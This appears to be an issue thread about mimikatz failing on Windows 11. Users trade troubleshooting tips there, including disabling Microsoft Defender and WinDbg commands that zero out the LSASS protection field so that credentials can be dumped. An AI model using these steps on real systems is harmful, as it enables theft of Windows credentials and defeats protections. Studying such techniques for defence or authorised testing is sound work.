kuhl_m_sekurlsa_acquireLSA ; Logon list

[HugoMskn]

Hey,

Trying to run mimikatz on windows 11 22H2 and doing sekurlsa::logonPasswords full give me this error

ERROR kuhl_m_sekurlsa_acquireLSA ; Logon list

Any idea why ?

[cap1501]

Same for me. Did you find any solution?

[zer0matt]

Same for me.
I think it is the MS Defender that hinders the correct execution of the command.
Try disabling it

[Jacker132]

Has this problem been solved? It has been bothering me for a long time

[Jacker132]

systeminfo：WIN11 24H2

[zer0matt]

@Jacker132 it could be issued due to PPL (Process Protected Light), try to disable it first and then run again mimikatz

[Jacker132]

Have you solved this problem? Do you have a recommended way to close PPL

[Jacker132]

I have tried some ways to turn off Windows Defender and PPL, but the problem still persists

[zer0matt]

I managed to dump the lsass after disabling the PPL but I tested it on a VM with Windows 10
You can patch the lsass protection using Windbg:

Locate LSASS EPROCESS:
!process 0 0 lsass.exe

Get Protection Field:
dt nt!_EPROCESS <lsass_EPROCESS> Protection

Remove PPL (Set Protection = 0):
eb <lsass_EPROCESS>+<Offset_Protection> 0x00

You can get the offset for Protection using:
dt nt!_PS_PROTECTION

Now you can run Mimikatz and try to dump lsass again

[Jacker132]

Thank you, I'll give it a try

[zer0matt]

Thank you, I'll give it a try

Let me know if that work or you encountered a issue

[Jacker132]

Not successful, I don't know if it was my operational error

[zer0matt]

You can paste here the returned error and see if I can be helpful

[blackpeard]

I managed to dump the lsass after disabling the PPL but I tested it on a VM with Windows 10 You can patch the lsass protection using Windbg:

Locate LSASS EPROCESS: !process 0 0 lsass.exe

Get Protection Field: dt nt!_EPROCESS <lsass_EPROCESS> Protection

Remove PPL (Set Protection = 0): eb <lsass_EPROCESS>+<Offset_Protection> 0x00

You can get the offset for Protection using: dt nt!_PS_PROTECTION

Now you can run Mimikatz and try to dump lsass again

where to run these command , in cmd ?

[blackpeard]

i am still getting error after disabling the PPL

[zer0matt]

I managed to dump the lsass after disabling the PPL but I tested it on a VM with Windows 10 You can patch the lsass protection using Windbg:
Locate LSASS EPROCESS: !process 0 0 lsass.exe
Get Protection Field: dt nt!_EPROCESS <lsass_EPROCESS> Protection
Remove PPL (Set Protection = 0): eb <lsass_EPROCESS>+<Offset_Protection> 0x00
You can get the offset for Protection using: dt nt!_PS_PROTECTION
Now you can run Mimikatz and try to dump lsass again

where to run these command , in cmd ?

Run those commands in Windbg https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/